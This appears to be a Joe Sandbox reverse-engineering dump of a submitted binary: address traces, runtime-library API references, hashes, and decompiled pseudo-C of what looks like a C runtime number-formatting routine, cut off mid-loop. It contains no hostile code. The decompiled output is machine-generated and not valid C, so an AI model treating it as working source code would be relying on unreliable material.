0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427ca6
0x00427cb2
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8a
0x00427c8e
0x00427c96
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c5d
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c35
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00427d09
0x00427d09
0x00427d10
0x00000000
0x00000000
0x00427d12
0x00427d12
0x00427d1d
0x00427d23
0x00427d25
0x00427d2b
0x00427d2e
0x00427d30
0x00427d36
0x00427d3f
0x00427d44
0x00427d61
0x00427d64
0x00427d64
0x00427d69
0x00427d6e
0x00427d6e
0x00427d74
0x00427d76
0x00427d7c
0x00427d82
0x00427d82
0x00427d8b
0x00427d8b
0x00427d74
0x00427d91
0x00427d95
0x00427da3
0x00427da6
0x00427da9
0x00427db0
0x00427db2
0x00427db2
0x00427d97
0x00427d97
0x00427d97
0x00427dbf
0x00427dbf
0x00427dc5
0x00427dc7
0x00427dc7
0x00427dce
0x00427dd1
0x00427dd4
0x00427dd4
0x00427dd4
0x00427dda
0x00427ddd
0x00427de0
0x00427de2
0x00000000
0x00000000
0x00427de4
0x00427dea
0x00427dea
0x00427df0
0x00427e6d
0x00427e70
0x00427e73
0x00427e76
0x00427e79
0x00427e7c
0x00427e82
0x00427e82
0x00427e88
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00427ebd
0x00427ec0
0x00427ec0
0x00427ec3
0x00427ec8
0x00427ec8
0x00427ecd
0x00427edf
0x00427edf
0x00427ee2
0x00427ef4
0x00427ef4
0x00427ef7
0x00427ef9
0x00427efd
0x00427efd
0x00427ee4
0x00427ee4
0x00427ee8
0x00427ee8
0x00427ecf
0x00427ecf
0x00427ed3
0x00427ed3
0x00427ecd
0x00427f07
0x00427f0a
0x00427f0d
0x00427f16
0x00427f16
0x00427f19
0x00427f1b
0x00427f22
0x00427f26
0x00427f2f
0x00427f34
0x00427f37
0x00427f3e
0x00427f42
0x00427f46
0x00427f52
0x00427f55
0x00427f55
0x00427f58
0x00427f5d
0x00427f5d
0x00427f60
0x00427f62
0x00427f69
0x00427f6d
0x00427f76
0x00427f7b
0x00427f60
0x00427f7e
0x00427f82
0x00428056
0x00428056
0x0042805d
0x00428061
0x00428065
0x00428069
0x00000000
0x00427f88
0x00427f88
0x00427f88
0x00427f8c
0x00000000
0x00000000
0x00427f92
0x00427f92
0x00427f9c
0x00427f9f
0x00427fa5
0x00427fa8
0x00427fae
0x00427fae
0x00427fae
0x00427fba
0x00427fbd
0x00427fc3
0x00427fc5
0x00000000
0x00000000
0x00427fcb
0x00427fcb
0x00427fd4
0x00427fdb
0x00427fe5
0x00427fec
0x00427ffb
0x00428007
0x0042800a
0x00428010
0x00428017
0x00428022
0x00428022
0x00000000
0x00428022
0x00428019
0x00428019
0x00428020
0x0042802e
0x0042802e
0x00428035
0x00428039
0x00428047
0x00000000
0x0042804c
0x00000000
0x00428020
0x00428054
0x00428071
0x00428071
0x00428078
0x0042807d
0x0042807d
0x00428080
0x00428082
0x00428089
0x0042808d
0x00428096
0x0042809b
0x00428080
0x00428078
0x0042809e
0x0042809e
0x004280a2
0x004280aa
0x004280b2
0x004280b2
0x004280b9
0x004280b9
0x0042723f
0x00427252
0x00427257
0x00000000
0x0042726a
0x00427274
0x0042729b
0x00427282
0x00427293
0x00427293
0x00427274
0x004272a5
0x004272ab
0x004272bd
0x004272c8
0x004272d4
0x004272e1
0x00000000
0x00000000
0x004272e7
0x004272ed
0x00000000
0x004272f4
0x004272f4
0x0042730c
0x00427311
0x00427316
0x004273d0
0x004273e3
0x004273e8
0x00000000
0x0042731c
0x0042732f
0x00427334
0x0042733a
0x0042733c
0x00427345
0x00427348
0x00427354
0x00427358
0x0042735e
0x00427360
0x00427365
0x00427367
0x0042736c
0x00427371
0x00427373
0x00427378
0x0042737e
0x00427380
0x00427380
0x0042737e
0x00427381
0x00427388
0x00000000
0x0042738a
0x0042738f
0x004273ab
0x004273b3
0x004273c0
0x004273c5
0x00000000
0x004273c5
0x00427388
0x00000000
0x004273f0
0x004273f0
0x004273f7
0x004273fa
0x004273fd
0x00427400
0x00427403
0x00427406
0x00427409
0x00427410
0x00427417
0x00000000
0x00000000
0x00427423
0x00427423
0x0042742a
0x00427436
0x00427439
0x0042743f
0x00427446
0x00000000
0x00000000
0x00427448
0x00427448
0x0042744e
0x0042744e
0x00427455
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427498
0x00427498
0x0042749f
0x004274a2
0x004274cc
0x004274cf
0x004274cf
0x004274d2
0x004274d9
0x004274d9
0x004274dd
0x004274a4
0x004274a4
0x004274b0
0x004274b3
0x004274b7
0x004274b9
0x004274bc
0x004274bc
0x004274bf
0x004274c5
0x004274c7
0x004274c7
0x004274ca
0x004274e0
0x00000000
0x00000000
0x004274e5
0x004274e5
0x00000000
0x00000000
0x004274f1
0x004274f1
0x004274f8
0x004274fb
0x0042751b
0x0042751e
0x0042751e
0x00427528
0x00427528
0x0042752c
0x004274fd
0x004274fd
0x00427509
0x0042750c
0x00427510
0x00427512
0x00427512
0x00427519
0x00000000
0x00000000
0x00427534
0x00427534
0x0042753b
0x00427547
0x0042754a
0x00427550
0x00427557
0x0042766a
0x00000000
0x0042766a
0x0042755d
0x0042755d
0x00427563
0x00427563
0x0042756a
0x00000000
0x004275a0
0x004275a0
0x004275a3
0x004275a6
0x004275a9
0x004275d1
0x004275d1
0x004275d4
0x004275d7
0x004275da
0x004275ff
0x004275ff
0x00427602
0x00427605
0x00427608
0x00427641
0x00427652
0x00000000
0x00427652
0x0042760a
0x0042760a
0x0042760d
0x00427610
0x00427613
0x00000000
0x00000000
0x00427615
0x00427615
0x00427618
0x0042761b
0x0042761e
0x00000000
0x00000000
0x00427620
0x00427620
0x00427623
0x00427626
0x00427629
0x00000000
0x00000000
0x0042762b
0x0042762b
0x0042762e
0x00427631
0x00427634
0x00000000
0x00000000
0x00427636
0x00427636
0x00427639
0x0042763c
0x0042763f
0x00427643
0x00000000
0x00427643
0x00000000
0x0042763f
0x004275dc
0x004275dc
0x004275df
0x004275e3
0x004275e6
0x00000000
0x004275e8
0x004275eb
0x004275ee
0x004275f1
0x004275f4
0x004275fa
0x00000000
0x004275fa
0x004275e6
0x004275ab
0x004275ab
0x004275ae
0x004275b2
0x004275b5
0x00000000
0x004275b7
0x004275ba
0x004275bd
0x004275c0
0x004275c3
0x004275c9
0x00000000
0x004275c9
0x00000000
0x00427654
0x00427657
0x0042765a
0x00000000
0x00000000
0x00427571
0x00427571
0x00427574
0x00427577
0x0042757a
0x00427592
0x00427595
0x00427595
0x00427598
0x0042757c
0x0042757f
0x00427582
0x00427588
0x0042758d
0x0042758d
0x00000000
0x00000000
0x0042765f
0x0042765f
0x00427662
0x00427662
0x00427667
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042766f
0x0042766f
0x00427676
0x00427682
0x00427685
0x0042768b
0x00427692
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427eb3
0x00427698
0x0042769e
0x0042769e
0x004276a5
0x00000000
0x004279ff
0x004279ff
0x00427a06
0x00427a0d
0x00427a0d
0x00427a10
0x00000000
0x00000000
0x004276ac
0x004276af
0x004276af
0x004276b5
0x004276b7
0x004276ba
0x004276ba
0x004276bf
0x004276bf
0x00000000
0x00000000
0x004277ec
0x004277ef
0x004277ef
0x004277f4
0x004277f6
0x004277f9
0x004277f9
0x004277ff
0x004277ff
0x00000000
0x00000000
0x00427bcc
0x00427bcc
0x00000000
0x00000000
0x00427756
0x00427756
0x00427762
0x00427768
0x0042776f
0x0042777d
0x0042777d
0x00427783
0x00427786
0x00427792
0x004277e7
0x00000000
0x004277e7
0x00427771
0x00427771
0x00427777
0x0042777b
0x00427797
0x0042779a
0x0042779a
0x004277a0
0x004277c8
0x004277cf
0x004277d5
0x004277d8
0x004277db
0x004277e1
0x004277e4
0x004277a2
0x004277a2
0x004277a8
0x004277ab
0x004277ae
0x004277b4
0x004277b7
0x004277ba
0x004277bc
0x004277bf
0x004277bf
0x00000000
0x004277a0
0x00000000
0x00000000
0x00427a16
0x00427a19
0x00427a1c
0x00427a1f
0x00427a25
0x00427a28
0x00427a2f
0x00427a33
0x00427a3e
0x00427a3e
0x00427a42
0x00427a59
0x00427a59
0x00427a60
0x00427a62
0x00427a62
0x00427a69
0x00427a69
0x00427a70
0x00427a81
0x00427a90
0x00427a93
0x00427a97
0x00427aad
0x00427a99
0x00427a99
0x00427a9c
0x00427aa2
0x00427aa8
0x00427aa8
0x00427a97
0x00427ab7
0x00427aba
0x00427abd
0x00427ac0
0x00427ac0
0x00427ac3
0x00427ac3
0x00427ac6
0x00427acc
0x00427ad2
0x00427ada
0x00427adb
0x00427ade
0x00427adf
0x00427ae2
0x00427ae3
0x00427aea
0x00427aeb
0x00427aee
0x00427aef
0x00427af2
0x00427af3
0x00427af9
0x00427afa
0x00427b08
0x00427b0a
0x00427b10
0x00427b10
0x00427b16
0x00427b18
0x00427b1c
0x00427b1e
0x00427b26
0x00427b27
0x00427b2a
0x00427b2b
0x00427b39
0x00427b3b
0x00427b3b
0x00427b1c
0x00427b3e
0x00427b45
0x00427b48
0x00427b4d
0x00427b4d
0x00427b53
0x00427b55
0x00427b5d
0x00427b5e
0x00427b61
0x00427b62
0x00427b71
0x00427b73
0x00427b73
0x00427b53
0x00427b76
0x00427b79
0x00427b7c
0x00427b7f
0x00427b84
0x00427b8a
0x00427b8d
0x00427b90
0x00427b90
0x00427b93
0x00427b93
0x00427b96
0x00427ba2
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00000000
0x00427eb3
0x00427a44
0x00427a44
0x00427a4b
0x00427a4e
0x00000000
0x00000000
0x00427a50
0x00427a50
0x00000000
0x00427a50
0x00427a35
0x00427a35
0x00000000
0x00000000
0x004276c2
0x004276c5
0x004276c5
0x004276cb
0x00427722
0x00427726
0x0042772e
0x00427735
0x0042773b
0x00427741
0x00427748
0x00427748
0x0042774e
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427eb3
0x004276cd
0x004276cd
0x004276d7
0x004276db
0x004276e3
0x004276ea
0x004276f7
0x004276fe
0x0042770a
0x00427710
0x00427717
0x00427719
0x00427719
0x00427720
0x00000000
0x00000000
0x00427baa
0x00427bad
0x00427bb0
0x00427bb3
0x00000000
0x00000000
0x00427908
0x00427908
0x00427914
0x0042791a
0x0042791f
0x00427921
0x004279cb
0x004279ce
0x004279ce
0x004279d1
0x004279e5
0x004279eb
0x004279f1
0x004279d3
0x004279d3
0x004279e0
0x004279e0
0x004279f3
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427eb3
0x00427927
0x00427927
0x00427927
0x00427929
0x00427937
0x0042792b
0x0042792b
0x0042792b
0x00427941
0x00427947
0x0042794d
0x00427954
0x00427956
0x0042795b
0x0042795d
0x00427962
0x00427967
0x00427969
0x0042796e
0x00427971
0x00427974
0x00427976
0x00427976
0x00427974
0x00427977
0x0042797e
0x004279c6
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427980
0x00427980
0x00427985
0x004279a1
0x004279a9
0x004279b3
0x004279b6
0x004279bb
0x004280d8
0x004280e5
0x004280e5
0x00000000
0x00427c0d
0x00427c0d
0x00427c17
0x00427c17
0x00427c1d
0x00427c1f
0x00427c22
0x00427c22
0x00427c28
0x00427c28
0x00427c2b
0x00427c2e
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ce7
0x00427ceb
0x00427cf3
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427ccc
0x00427cd0
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427ca6
0x00427cb2
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8a
0x00427c8e
0x00427c96
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c5d
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c35
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427802
0x00427802
0x00427806
0x00427814
0x00427817
0x00427808
0x00427808
0x00427808
0x0042781d
0x00427823
0x00427829
0x00427835
0x0042783b
0x0042783b
0x00427841
0x004278a8
0x004278a8
0x004278ac
0x004278ae
0x004278b4
0x004278b4
0x004278b7
0x004278ba
0x004278c0
0x004278c0
0x004278c0
0x004278cc
0x004278cf
0x004278d5
0x004278d7
0x00000000
0x00000000
0x004278d9
0x004278d9
0x004278df
0x004278e2
0x004278e4
0x00000000
0x00000000
0x004278e6
0x004278ec
0x004278ef
0x004278ef
0x004278f7
0x004278f7
0x004278fd
0x004278fd
0x00427900
0x00000000
0x00427843
0x00427843
0x00427843
0x00427847
0x00427849
0x0042784e
0x0042784e
0x00427851
0x00427858
0x0042785b
0x00427861
0x00427861
0x00427861
0x0042786d
0x00427870
0x00427876
0x00427878
0x00000000
0x00000000
0x0042787a
0x0042787a
0x00427880
0x00427883
0x00427885
0x00000000
0x00000000
0x00427887
0x0042788d
0x00427890
0x00427890
0x00427898
0x0042789e
0x004278a1
0x004278a3
0x00427903
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427eb3
0x00000000
0x00427bbc
0x00427bbc
0x00427c2b
0x00427c2b
0x00427c2e
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ce7
0x00427ceb
0x00427cf3
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427ccc
0x00427cd0
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427ca6
0x00427cb2
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8a
0x00427c8e
0x00427c96
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c5d
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c35
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00000000
0x00427d07
0x00000000
0x00427bd8
0x00427bd8
0x00427be2
0x00427be2
0x00427bec
0x00427bec
0x00427bf2
0x00427bf4
0x00427bfe
0x00427bfe
0x00427c01
0x00427c04
0x00427c04
0x00427c2b
0x00427c2b
0x00427c2e
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ce7
0x00427ceb
0x00427cf3
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427ccc
0x00427cd0
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427ca6
0x00427cb2
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8a
0x00427c8e
0x00427c96
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c5d
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c35
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00000000
0x00427d07
0x00000000
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00000000
0x00000000
0x00427472
0x00427475
0x00427478
0x00000000
0x00000000
0x0042747d
0x00427480
0x00427485
0x00000000
0x00000000
0x00427467
0x00427467
0x0042746a
0x0042746d
0x00000000
0x00000000
0x0042745c
0x0042745f
0x00427462
0x00000000
0x00000000
0x0042748a
0x0042748a
0x0042748d
0x0042748d
0x00427490
0x00000000
0x00000000
0x00427493
0x00000000
0x00000000
0x004272ed
0x004280be
0x004280c4
0x004280cd
0x004280d2
0x00000000
0x004280d2
0x00427eb3
0x00427e8a
0x00427e8a
0x00427e8e
0x00427e9b
0x00427e9e
0x00427ea1
0x00427ea4
0x00427ea7
0x00427eaa
0x00427ead
0x00427ead
0x00427eb0
0x00000000
0x00427eb0
0x00427e90
0x00427e90
0x00427e93
0x00427e96
0x00427e99
0x00000000
0x00000000
0x00000000
0x00427e99
0x00427df2
0x00427df2
0x00427df5
0x00427df8
0x00427dff
0x00427e06
0x00427e0e
0x00427e14
0x00427e17
0x00427e1a
0x00427e21
0x00427e2d
0x00427e33
0x00427e39
0x00427e40
0x00427e42
0x00427e48
0x00427e48
0x00427e4e
0x00427e4e
0x00427e54
0x00427e57
0x00427e5d
0x00427e62
0x00427e65
0x00427dd4
0x00427dd4
0x00427dda
0x00427ddd
0x00427de0
0x00427de2
0x00000000
0x00000000
0x00000000
0x00427de2
0x00427dd4
0x00427d14
0x00427d14
0x00427d1b
0x00000000
0x00000000
0x00000000
0x00427d49
0x00427d49
0x00427d4f
0x00427d55
0x00427d5b
0x00000000
0x00427d5b
0x00427c2b
0x00427be2
0x00427bcc

APIs

_get_int64_arg.LIBCMTD ref: 00427C39
__aullrem.LIBCMT ref: 00427E06
__aulldiv.LIBCMT ref: 00427E28

Strings

9, xrefs: 00427E39
0, xrefs: 00427BF4

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction ID: cd902e84aa385cd5ace88a834d58354330a77fce4fe43b33451d204dd2b440c9
Opcode Fuzzy Hash: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction Fuzzy Hash: FE412471E18229DFDB64CF59E889BAEB7B5BF44304F5045DAD049AB241C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434F94, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434F94(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428360(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00428290(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E004282D0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E00428290(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E004282D0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
